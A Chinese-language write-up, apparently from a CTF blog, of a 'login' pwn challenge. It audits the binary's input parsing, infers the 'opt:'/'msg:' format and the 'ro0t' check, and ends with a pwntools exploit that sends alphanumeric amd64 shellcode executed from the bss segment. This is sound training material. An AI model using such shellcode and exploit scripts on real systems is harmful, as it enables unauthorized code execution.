叠甲。菜,很菜,就是懂一点但是不多,可能涉及的错误会很多,有错误欢迎指出,同时对于这个疑问有解答的也欢迎留言,总之就是很菜 QAQ
这一道题,首先要考代码审计,来猜它这个 login 的格式 然后在通过它的 login 之后,通过传入可见字符的 shellcode 进而实现获得 flag。
解析:
1、checksec:
2、先来看看主代码:(主要看的是sub_FFD)
(这边的代码审计真的很重要!!来说说一些简单的函数:
strchr() 用于查找字符串中的一个字符,并返回该字符在字符串中第一次出现的位置。
strcasecmp():比较字符串,相等的话返回值为0
atoi():把参数 str 所指向的字符串转换为一个整数(类型为 int 型)
memcpy(void *str1, const void *str2, size_t n) 从存储区 str2 复制 n 个字节到存储区 str1。)
在这道题目里面,传入的是我们最开始输出的字符串s,在后面的时候,我们是用的*a(指针的形式来实现数组的表示)
来看看代码(主要是中间的条件判断语句)
看到第一个if语句,这里的要求是s1和opt的值是否相等,!0即为真,就是说相等才会执
行下面的语句。
同时根据后面的题目要求,这里是需要v7的值的,可以推断出在这里传入的s的是要包含opt的,以及,跟在opt后面的是v7的值(这里大概可以从nptr与s1的定义那边看出来),根据后面的switch语句,我们也大概可以看到,接在opt后面的值会根据switch的结果进行变动。
(但是这边的if-else语句处于同一级别上,虽然说通过猜测也大概才得到我们最后的login格式会包含msg(总不可能无故给你丢一个字符),但是从代码的角度我是真的没懂)
(可能也是要求了我们使用\n截断的缘故?懂不完全懂)
以及后面关于msg这部分,这里有个坑,首先v9在原来的基础上-1了,然后间接赋值给了dest,那么这里的dest也就需要在原来的基础上+1(也就是说需要补一个其他的什么字符)
通过上面的这一波操作,我们大概可以推断出,login的格式:
opt:(一个数)/nsmg:(一串字符串)(随便的一个字符占位)/n
在进行了上面的这一堆操作之后,重点看到下面的那个switch语句,通过switch的选择来执行我们最终的shell过程
首先是这个
case 1:
这里比较的是我们后面(msg后面的东西)
这里传入的是dest,我们需要实现传入dest的东西等于ro0t,这样我们才可以实现控制下面那两个变量。
然后看到case2:
从这边也可以看到,要想执行shellcode,需要我们202028和202024值为1.
通过前面传入s,在这里可以直接执行shellcode(因为在bss段)
至于为什么传入的shellcode是可见字符,大概是因为这边dest=...处
(懂,不完全懂,所以说为什么一定要可见字符啊QAQ)
以及简单说一下case3,这边的情况是传入exit时,设置值为零。
3、写exp:
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
io=process("./login")
#io=remote('node4.anna.nssctf.cn',28507)
elf=ELF('./login')
shellcode='Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
payload1='opt:1\nmsg:ro0ta\n' #a来占位,1对应case1的情况
payload2='opt:2\n'+'msg:'+shellcode+'\r\n' #\r占位,2对应case2
io.sendlineafter('>>> ',payload1)
io.sendlineafter('>>> ',payload2)
io.interactive()